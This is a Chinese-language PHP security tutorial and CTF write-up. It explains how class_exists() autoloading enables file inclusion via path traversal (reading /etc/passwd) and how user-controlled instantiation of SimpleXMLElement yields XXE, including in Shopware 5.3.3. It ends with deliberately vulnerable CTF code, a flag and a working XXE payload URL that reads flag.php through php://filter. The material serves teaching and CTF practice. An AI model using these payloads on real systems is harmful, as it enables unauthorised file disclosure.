class_exists :(PHP 4, PHP 5, PHP 7)
功能 :检查类是否已定义
定义 : bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true ,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数;当 $autoload 为 false 时,则不调用 __autoload 函数。
SimpleXMLElement :(PHP 5, PHP 7)
功能 :用来表示XML文档中的元素,为PHP的内置类。
可以看到通过设置第三个参数data_is_url
为 true
,我们可以实现远程xml
文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数data
就是我们自己设置的payload
的url
地址,即用于引入的外部实体的url
。
这样的话,当我们可以控制目标调用的类的时候,便可以通过SimpleXMLElement
这个内置类来构造 XXE。
这段代码中存在两个安全漏洞。第一个是文件包含漏洞,第8行中使用了class_exists()
函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在__autoload
函数,那么在使用class_exists()
函数就会自动调用本程序中的__autoload
函数,文件包含漏洞就出现在这个地方。攻击者可以使用路径穿越
来包含任意文件,当然使用路径穿越符号的前提是PHP5~5.3(包含5.3版本)版本
之间才可以。例如类名为:../../../../etc/passwd
的查找,将查看passwd
文件内容
第二个漏洞在上图第9行中,我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类SimpleXMLElement
来进行XXE
攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect),
关于SimpleXMLElement
导致的XXE攻击,下面再给出一个demo案例,
选取的是Shopware 5.3.3
版本,对SimpleXMLElement
类导致的XXE漏洞
进行分析,而class_exists()
函数,我们将会在本次给出的CTF题目中深入讨论。我们来看一下本次漏洞的文件,在engine\Shopware\Controllers\Backend\ProductStream.php
文件中有一个loadPreviewAction
方法,其作用是用来预览产品流的详细信息,具体代码如下:
该方法接收从用户传来的参数sort
,然后传入Repository
类的unserialize
方法(如上图第11-14行代码),我们跟进Repository
类,查看unserialize
方法的实现。
可以看到Repository
类的unserialize
方法,调用的是LogawareReflectionHelper
类的unserialize
方法(如上图第5行代码),
这里的$serialized
就是我们刚刚传入的sort
(上图第3行),程序分别从sort
中提取出值赋给$className
和$arguments
变量,然后这两个变量被传入ReflectionHelper
类的createInstanceFromNamedArguments
方法。
这里我们关注第6行
代码,这里创建了一个反射类,而类的名称就是从$sort
变量来的,可被用户控制利用。
在代码第28行处用$newParams
作为参数,创建一个新的实例对象。而这里的$newParams
是从$arguments[$paramName]
中取值的,$arguments
又是我们可以控制的,因为也是从$sort
变量来,所以我们可以通过这里来实例化一个SimpleXMLElement
类对象,形成一个XXE漏洞。
// index.php <?php class NotFound{ function __construct() { die('404'); } } spl_autoload_register( function ($class){ new NotFound(); } ); $classname = isset($_GET['name']) ? $_GET['name'] : null; $param = isset($_GET['param']) ? $_GET['param'] : null; $param2 = isset($_GET['param2']) ? $_GET['param2'] : null; if(class_exists($classname)){//class_exists函数查找是否存在该类名,不存在调用spl_autoload_register $newclass = new $classname($param,$param2); var_dump($newclass); foreach ($newclass as $key=>$value) echo $key.'=>'.$value.'<br>'; }
// flag.php <?php $flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}"; ?>
我们发现这里的类和类里面的参数都是我们可以控制的,满足了上面咱们提到的实例化漏洞。也就是说,我们可以调用PHP的内置类来完成我们的攻击。
发现:
foreach ($newclass as $key=>$value) echo $key.'=>'.$value.'<br>';
直接想到GlobIterator
原生类
所以payload
如下:
发现flag.php
使用内置类SimpleXMLElement
读取flag.php
文件的内容,,
http://127.0.0.1/?name=SimpleXMLElement¶m=<?xml version="1.0?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file://D:/phpstudy_pro/WWW/flag.php">]><x>&xxe;</x>¶m2=2